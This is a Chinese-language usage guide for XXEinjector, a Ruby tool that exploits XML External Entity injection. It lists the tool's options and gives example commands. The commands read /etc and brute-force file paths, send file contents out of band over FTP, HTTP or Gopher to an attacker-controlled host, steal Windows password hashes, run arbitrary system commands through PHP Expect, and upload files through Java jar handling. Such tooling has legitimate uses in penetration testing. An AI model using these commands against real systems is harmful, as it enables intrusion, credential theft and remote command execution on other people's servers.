选项:
--host 必填 - 用于反向连接的IP地址 (--host=192.168.0.2)
--file 必填 - 包含有效HTTP请求和XML的文件 你也可以使用"XXEINJECT"标记应该注入DTD的点 (--file=/tmp/req.txt)
--path 必填 如果枚举目录 - 枚举路径 (--path=/etc)
--brute 必填 如果暴力破解文件 - 带有暴力破解路径的文件 (--brute=/tmp/brute.txt)
--logger 仅记录结果 不发送请求 HTTP记录器查找带有"p"参数的结果
--rhost 远程主机的IP地址或域名 仅针对没有Host Header的请求使用此参数 (--rhost=192.168.0.3)
--rport 远程主机的TCP端口 仅针对没有Host Header和非默认值的请求使用此参数 (--rport=8080)
--oob 带外利用方法 FTP是默认设置 FTP可以在任何应用程序中使用 通过Java < 1.7应用程序中的目录列表 HTTP可以用于暴力破解和枚举 Gopher只能在Java < 1.7应用程序中使用 (--oob=http/ftp/gopher)
--direct 使用直接利用而不是带外 应为此参数指定唯一标记作为值 此标记指定XXE的结果在何处开始和结束 指定"--direct-xml"以查看请求文件中的XML外观 如果要在利用期间使用本地DTD 则指定"--localdtd-xml" 如果在输出数据之前或之后的响应中出现特殊字符时开始和结束标记有任何问题 请使用"Burp Proxy"的"match and replace"选项来替换 (--direct=UNIQUEMARKSTART,UNIQUEMARKEND)
--cdata 使用CDATA改进直接利用 可以直接检索数据 但是OOB用于构造CDATA有效负载 指定"--cdata-xml"以查看请求在此技术中的外观
--2ndfile 包含用于二阶利用的有效HTTP请求的文件 (--2ndfile=/tmp/2ndreq.txt)
--phpfilter 发送前使用PHP过滤器对目标文件进行BASE64编码
--netdoc 使用NetDoc协议代替文件 (Java)
--enumports 枚举未过滤的端口以进行反向连接 指定值"all"以枚举所有TCP端口 (--enumports=21,22,80,443,445)
--hashes 窃取运行应用程序的用户的Windows哈希
--expect 使用PHP Expect扩展来执行任意系统命令 最适合与HTTP和PHP过滤器一起使用 (--expect=ls)
--upload 使用Java Jar模式将指定的文件上传到临时文件中 (--upload=/tmp/upload.txt)
--xslt 测试XSLT注入
--ssl 使用SSL
--proxy 使用代理 (--proxy=127.0.0.1:8080)
--httpport 设置自定义HTTP端口 (--httpport=80)
--ftpport 设置自定义FTP端口 (--ftpport=21)
--gopherport 设置自定义Gopher端口 (--gopherport=70)
--jarport 设置用于Jar上传文件的自定义端口 (--jarport=1337)
--xsltport 设置用于XSLT注入测试的自定义端口 (--xsltport=1337)
--test 此模式显示带有注入的有效负载的请求并退出 用于验证请求的正确性而不将其发送到服务器
--urlencode URL编码注入的DTD 这是URI的默认设置
--nodtd 如果你想自己将DTD放入请求当中 指定"--oob-xml"以显示DTD的外观
--output 暴力破解和记录器模式的输出文件 默认情况下它记录到当前目录中的brute.log文件 (--output=/tmp/out.txt)
--timeout 接收文件/目录内容的超时 (--timeout=20)
--contimeout 关闭与服务器的连接超时 这用于防止DoS条件 (--contimeout=20)
--fast 跳过询问要枚举的内容 容易出现误报
--verbose 显示详细消息
用法示例:
在HTTPS应用程序中枚举 /etc 目录:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --ssl
使用Gopher的OOB方法枚举 /etc 目录:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher
二阶利用:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt --2ndfile=/tmp/2ndreq.txt
使用HTTP带外方法和NetDoc协议对文件进行暴力破解:
ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt --file=/tmp/req.txt --oob=http --netdoc
使用直接利用进行枚举:
ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARKSTART,UNIQUEMARKEND
枚举未过滤的端口:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all
窃取Windows哈希:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --hashes
使用Java Jar上传文件:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --upload=/tmp/uploadfile.pdf
使用PHP Expect执行系统命令:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter --expect=ls
测试XSLT注入:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --xslt
仅记录请求:
ruby XXEinjector.rb --logger --oob=http --output=/tmp/out.txt